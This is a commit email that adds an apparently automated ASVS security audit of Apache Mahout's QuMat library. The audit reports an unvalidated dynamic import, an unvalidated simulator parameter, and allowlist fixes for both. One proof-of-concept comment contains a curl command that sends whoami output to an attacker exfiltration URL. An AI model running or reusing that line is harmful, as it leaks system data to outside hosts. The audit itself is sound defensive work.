(tooling-agents) branch main updated: ASVS audit: 1.2.5.md (redacted)

[as...@apache.org]

This is an automated email from the ASF dual-hosted git repository.

asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git


The following commit(s) were added to refs/heads/main by this push:
     new 624187f  ASVS audit: 1.2.5.md (redacted)
624187f is described below

commit 624187faffc02ef3ae599d601875d8a7e133723c
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Sat May 2 16:55:45 2026 +0200

    ASVS audit: 1.2.5.md (redacted)
---
 .../mahout/245aad3/quantum_api_injection/1.2.5.md  | 353 +++++++++++++++++++++
 1 file changed, 353 insertions(+)

diff --git a/ASVS/reports/mahout/245aad3/quantum_api_injection/1.2.5.md b/ASVS/reports/mahout/245aad3/quantum_api_injection/1.2.5.md
new file mode 100644
index 0000000..3234ad9
--- /dev/null
+++ b/ASVS/reports/mahout/245aad3/quantum_api_injection/1.2.5.md
@@ -0,0 +1,353 @@
+# ASVS 1.2.5 Security Audit Report: OS Command Injection Prevention
+
+## Executive Summary
+
+**Audit Metadata:**
+- **Repository:** apache/mahout
+- **Audit Date:** May 02, 2026
+- **Auditor:** Tooling Agents
+- **ASVS Requirement:** 1.2.5 — Verify that the application protects against OS command injection and that operating system calls use parameterized OS queries or use contextual command line output encoding.
+  - **Level:** 1
+  - **Section:** Injection Prevention
+  - **Section Description:** Output encoding or escaping, performed close to or adjacent to a potentially dangerous context, is critical to the security of any application. Typically, output encoding and escaping are not persisted, but are instead used to render output safe for immediate use in the appropriate interpreter. Attempting to perform this too early may result in malformed content or render the encoding or escaping ineffective.
+- **Files Analyzed:** 4 relevant out of 4 total, 0 skipped
+
+**Finding Counts:**
+
+| Severity | Count |
+|----------|-------|
+| Critical | 0 |
+| High | 1 |
+| Medium | 0 |
+| Low | 1 |
+| **Total** | **2** |
+
+**Summary:** This audit evaluates the QuMat quantum circuit API against ASVS 1.2.5, which requires protection against OS command injection through parameterized OS queries or contextual output encoding. The codebase **does not directly execute OS commands** (no `subprocess`, `os.system`, `os.popen`, `eval`, `exec`), which is a significant positive. However, one critical injection vector exists through unvalidated dynamic module loading, which enables arbitrary code execution (subsuming O [...]
+
+---
+
+## Security Controls Inventory
+
+| Control | Location | Purpose | Coverage |
+|---------|----------|---------|----------|
+| `_validate_qubit_index()` | `qumat.py:97-115` | Type/range check for qubit indices | ✅ All gate operations |
+| `_ensure_circuit_initialized()` | `qumat.py:86-95` | State guard before operations | ✅ All circuit operations |
+| `isinstance(backend_config, dict)` | `qumat.py:56-58` | Type check on configuration | ✅ Constructor only |
+| Required key checks | `qumat.py:60-71` | Validates `backend_name`, `backend_options` exist | ✅ Constructor only |
+| `bind_parameters()` validation | `qumat.py:312-325` | Parameter name existence check | ✅ Parameter binding |
+| Unbound parameter detection | `qumat.py:283-290` | Prevents execution with missing params | ✅ `execute_circuit`, `get_final_state_vector` |
+| **Backend name allowlist** | **MISSING** | **Validate backend_name before import** | ❌ **NOT IMPLEMENTED** |
+
+### Coverage Gap Analysis
+
+| Entry Point | Validation Applied | Gap? |
+|-------------|-------------------|------|
+| `QuMat.__init__()` → `import_module()` | Key existence only, no format/allowlist | **YES - Type A** |
+| `initialize_backend()` → `AerSimulator(method=...)` | Partial map lookup, unvalidated fallback | **Minor** |
+| `initialize_backend()` → `boto3.Session(region_name=...)` | No region format validation | **Minor** |
+| Gate application functions | `_validate_qubit_index()` + `_ensure_circuit_initialized()` | No |
+| `execute_circuit()` | Unbound param check, shots default | No |
+| `apply_r*_gate()` → string parameter | `_handle_parameter()` registers name | No |
+
+---
+
+## Critical File Review
+
+### `qumat/qumat.py` — Central Orchestrator
+
+| Function | OS Command Risk | Injection Risk | Controls Present |
+|----------|-----------------|----------------|------------------|
+| `__init__()` | None direct | **Dynamic import** (HIGH) | Type check, key check, **NO allowlist** |
+| `execute_circuit()` | None | Parameter passthrough | Unbound param check |
+| `apply_r*_gate()` | None | String→symbol conversion | Type handled per-backend |
+| `_validate_qubit_index()` | None | None | Type+range validation ✅ |
+| `bind_parameters()` | None | None | Name existence check ✅ |
+
+### `qumat/amazon_braket_backend.py` — AWS Integration
+
+| Function | OS Command Risk | Injection Risk | Controls Present |
+|----------|-----------------|----------------|------------------|
+| `initialize_backend()` | None | Region to boto3 | Default credential chain |
+| `execute_circuit()` | None | Parameter passthrough to SDK | Parameter name filtering |
+| `apply_r*_gate()` | None | String→FreeParameter | Type dispatch |
+| `draw_circuit()` | None | `str(circuit)` | SDK-controlled serialization |
+
+### `qumat/cirq_backend.py` — Google Cirq Integration
+
+| Function | OS Command Risk | Injection Risk | Controls Present |
+|----------|-----------------|----------------|------------------|
+| `initialize_backend()` | None | None | Fixed simulator |
+| `execute_circuit()` | None | Parameter passthrough to SDK | ParamResolver handles binding |
+| `apply_r*_gate()` | None | String→sympy.Symbol | Type dispatch |
+| `draw_circuit()` | None | `str(circuit)` | SDK-controlled serialization |
+
+### `qumat/qiskit_backend.py` — IBM Qiskit Integration
+
+| Function | OS Command Risk | Injection Risk | Controls Present |
+|----------|-----------------|----------------|------------------|
+| `initialize_backend()` | None | **Unvalidated method** (LOW) | Partial map, open fallback |
+| `execute_circuit()` | None | Parameter passthrough to SDK | transpile+assign_parameters |
+| `apply_r*_gate()` | None | String→Parameter | Type dispatch |
+| `draw_circuit()` | None | `circuit.draw()` | SDK-controlled rendering |
+
+---
+
+## Findings
+
+### High Severity
+
+#### Finding ASVS-125-SEV-001: Unvalidated Dynamic Module Import Enables Arbitrary Code Execution
+
+| Attribute | Value |
+|-----------|-------|
+| **Finding ID** | ASVS-125-SEV-001 |
+| **Severity** | **HIGH** |
+| **Gap Type** | **Type A** — Entry point with NO control |
+| **File** | `qumat/qumat.py` |
+| **Function** | `QuMat.__init__()` |
+| **Lines** | 66-68 |
+
+**Related Functions Checked:**
+- `QuMat.__init__()`
+- `import_module()` (stdlib)
+
+**Description:**
+
+The `QuMat` constructor accepts a user-supplied `backend_name` from the `backend_config` dictionary and passes it directly to `import_module()` without validation. While the relative import (`.{name}_backend` within `qumat` package) constrains the search scope, `import_module` executes all top-level code in the imported module at load time. The `backend_name` undergoes **no format validation or allowlist check** between assignment and use.
+
+**Vulnerable Code:**
+```python
+self.backend_name: str = self.backend_config["backend_name"]
+self.backend_module: ModuleType = import_module(
+    f".{self.backend_name}_backend", package="qumat"
+)
+```
+
+**Data Flow:**
+```
+User-supplied backend_config["backend_name"]
+  → self.backend_name (no validation)
+    → f".{self.backend_name}_backend" (string interpolation)
+      → import_module(..., package="qumat") (module loaded, top-level code executes)
+```
+
+**Attack Scenarios:**
+
+1. **Namespace package injection:** If `qumat` uses implicit namespace packages or an attacker can install a package that contributes to the `qumat` namespace, `backend_name = "malicious"` would load `qumat.malicious_backend` containing arbitrary code including `os.system()` calls.
+
+2. **Package directory write:** In environments where the `qumat` package directory is writable (editable installs, container misconfigurations), placing `malicious_backend.py` in the directory enables code execution.
+
+3. **Existing module side-effects:** Values like `backend_name = "__init__"` would attempt `import_module(".__init___backend", package="qumat")` — while this specific example would fail, systematic probing of module names within the package is possible.
+
+**Proof of Concept:**
+```python
+# Attacker creates file: qumat/exploit_backend.py containing:
+# import os; os.system("curl http://attacker.com/exfil?data=$(whoami)")
+# def initialize_backend(config): pass
+
+# Then:
+from qumat import QuMat
+config = {
+    "backend_name": "exploit",  # loads qumat.exploit_backend
+    "backend_options": {"simulator_type": "default", "shots": 1}
+}
+qm = QuMat(config)  # Arbitrary code executes on import
+```
+
+**Impact:** 
+
+Arbitrary code execution including OS command execution, data exfiltration, and system compromise, depending on the deployment environment and whether malicious modules can be placed in the package namespace.
+
+**Remediation:**
+```python
+# In QuMat.__init__(), add allowlist BEFORE import_module:
+
+_ALLOWED_BACKENDS = frozenset({"qiskit", "cirq", "amazon_braket"})
+
+def __init__(self, backend_config: Mapping[str, Any] | None) -> None:
+    # ... existing validation ...
+    
+    self.backend_name: str = self.backend_config["backend_name"]
+    
+    # Validate backend name against allowlist
+    if self.backend_name not in self._ALLOWED_BACKENDS:
+        raise ValueError(
+            f"Unsupported backend: '{self.backend_name}'. "
+            f"Allowed backends: {sorted(self._ALLOWED_BACKENDS)}"
+        )
+    
+    self.backend_module: ModuleType = import_module(
+        f".{self.backend_name}_backend", package="qumat"
+    )
+```
+
+---
+
+### Low Severity
+
+#### Finding ASVS-125-SEV-002: Unvalidated Simulator Type Passed to AerSimulator in Fallback Path
+
+| Attribute | Value |
+|-----------|-------|
+| **Finding ID** | ASVS-125-SEV-002 |
+| **Severity** | **LOW** |
+| **Gap Type** | **Type A** — Entry point with partial control |
+| **File** | `qumat/qiskit_backend.py` |
+| **Function** | `initialize_backend()` |
+| **Lines** | 37-40 |
+
+**Related Functions Checked:**
+- `initialize_backend()`
+- `AerSimulator()` (Qiskit library)
+
+**Description:**
+
+The `initialize_backend()` function maps known simulator types to AerSimulator methods via a dictionary. However, if the user-supplied `simulator_type` is not in the dictionary, it is passed directly to `AerSimulator(method=simulator_type)` without validation.
+
+**Vulnerable Code:**
+```python
+simulator_methods = {
+    "aer_simulator": "automatic",
+    "statevector_simulator": "statevector",
+    "qasm_simulator": "automatic",
+    "unitary_simulator": "unitary",
+}
+
+if simulator_type in simulator_methods:
+    backend = AerSimulator(method=simulator_methods[simulator_type])
+else:
+    backend = AerSimulator(method=simulator_type)  # Unvalidated user input
+```
+
+**Data Flow:**
+```
+backend_config["backend_options"]["simulator_type"]
+  → simulator_type (no validation in else branch)
+    → AerSimulator(method=simulator_type) (passed to third-party library)
+```
+
+**Proof of Concept:**
+```python
+from qumat import QuMat
+
+config = {
+    "backend_name": "qiskit",
+    "backend_options": {
+        "simulator_type": "arbitrary_string_value",  # Unvalidated
+        "shots": 1024
+    }
+}
+qm = QuMat(config)
+# AerSimulator receives arbitrary method parameter
+```
+
+**Impact:** 
+
+Currently limited to unexpected AerSimulator behavior or errors with arbitrary method strings. No known OS command execution path exists through this parameter in current Qiskit versions. However, passing unvalidated input to third-party library constructors violates defense-in-depth principles and could become exploitable in future library versions.
+
+**Remediation:**
+```python
+if simulator_type in simulator_methods:
+    backend = AerSimulator(method=simulator_methods[simulator_type])
+else:
+    raise ValueError(
+        f"Unsupported simulator type: '{simulator_type}'. "
+        f"Supported types: {list(simulator_methods.keys())}"
+    )
+```
+
+---
+
+## Positive Security Patterns
+
+1. **No OS Command Execution:** The entire codebase avoids `subprocess`, `os.system`, `os.popen`, `eval()`, `exec()`, and any direct shell interaction. All backend operations use typed SDK APIs — this is the strongest protection against ASVS 1.2.5.
+
+2. **SDK API Usage Over String-Based Commands:** All quantum operations (gate application, circuit execution, measurement) use typed method calls (`circuit.x()`, `circuit.h()`, `backend.run()`) rather than constructing command strings. This is exactly the "parameterized API" approach ASVS recommends.
+
+3. **Type-Dispatched Parameter Handling:** All three backends use proper type checking before converting string angles to symbolic parameters:
+   ```python
+   # amazon_braket_backend.py - safe pattern
+   if isinstance(angle, (int, float)):
+       circuit.rx(qubit_index, angle)
+   else:
+       param = FreeParameter(angle)  # Named parameter, not evaluated
+   ```
+
+4. **Working Copies Before Mutation:** Both `qiskit_backend.py` (`circuit.copy()`) and `cirq_backend.py` (`copy.deepcopy(circuit)`) create defensive copies before adding measurements, preventing side effects.
+
+5. **Parameter Name Filtering:** In `amazon_braket_backend.py`, parameter names are filtered against the circuit's actual parameters before being passed to execution:
+   ```python
+   inputs = {
+       param_name: value
+       for param_name, value in parameter_values.items()
+       if param_name in {p.name for p in circuit.parameters}
+   }
+   ```
+
+6. **Comprehensive Qubit Index Validation:** The `_validate_qubit_index()` method in `qumat.py` checks type, negativity, and upper bound — covering all common integer boundary issues.
+
+7. **AWS Credentials via Environment Variables:** The Braket backend relies on boto3's default credential chain (environment variables/IAM roles) without hardcoding credentials, following AWS best practices.
+
+---
+
+## Architecture Observations
+
+1. **Clean Separation of Concerns:** The `QuMat` facade handles all input validation before delegating to backend modules. Backend modules receive pre-validated inputs (except `backend_config` passed through directly).
+
+2. **No Template Engine Usage:** The codebase avoids template engines entirely, eliminating template injection as an attack surface. Circuit serialization uses `str()` on SDK objects.
+
+3. **No Network-Facing Interface:** This is a library, not a service. All input comes from the calling Python process. The attack surface for ASVS 1.2.5 is limited to the library's public API being called with malicious configuration.
+
+4. **Configuration Pass-Through Pattern:** `backend_config` is passed from `QuMat` to backend modules without deep validation of `backend_options`. While the known false positive patterns indicate circuit definitions are trusted, the `backend_name` used in `import_module` requires stricter validation.
+
+---
+
+## Recommendations Summary
+
+### Immediate Actions (Critical Priority)
+
+| Priority | Recommendation | Finding | Effort |
+|----------|---------------|---------|--------|
+| **1** | Add backend name allowlist before `import_module()` | ASVS-125-SEV-001 | Low — 5 lines of code |
+
+**Rationale:** The highest priority fix (backend name allowlist) is also the simplest — a `frozenset` lookup adds negligible complexity while eliminating the dynamic import injection vector entirely.
+
+### Short-term Actions (Low Priority)
+
+| Priority | Recommendation | Finding | Effort |
+|----------|---------------|---------|--------|
+| **2** | Restrict `simulator_type` to known values with explicit error | ASVS-125-SEV-002 | Low — 3 lines of code |
+
+### Long-term Hardening
+
+| Priority | Recommendation | Rationale | Effort |
+|----------|---------------|-----------|--------|
+| **3** | Add `region` format validation (regex: `^[a-z]{2}-[a-z]+-\d+$`) before passing to boto3 | Defense-in-depth | Low |
+| **4** | Add `__all__` to `qumat/__init__.py` to explicitly declare public modules | Defense-in-depth | Low |
+
+---
+
+## Appendix: Files Analyzed
+
+<details>
+<summary>Click to expand file list (4 files)</summary>
+
+1. **`qumat/amazon_braket_backend.py`** (relevance: 10)
+   - AWS Braket quantum backend implementation
+   - Functions: `initialize_backend()`, `execute_circuit()`, `apply_r*_gate()`, `draw_circuit()`
+
+2. **`qumat/cirq_backend.py`** (relevance: 10)
+   - Google Cirq quantum backend implementation
+   - Functions: `initialize_backend()`, `execute_circuit()`, `apply_r*_gate()`, `draw_circuit()`
+
+3. **`qumat/qiskit_backend.py`** (relevance: 10)
+   - IBM Qiskit quantum backend implementation
+   - Functions: `initialize_backend()`, `execute_circuit()`, `apply_r*_gate()`, `draw_circuit()`
+   - Contains Finding ASVS-125-SEV-002
+
+4. **`qumat/qumat.py`** (relevance: 10)
+   - Central orchestrator and public API
+   - Functions: `__init__()`, `execute_circuit()`, `apply_*_gate()`, `_validate_qubit_index()`, `bind_parameters()`
+   - Contains Finding ASVS-125-SEV-001
+
+</details>
\ No newline at end of file


---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org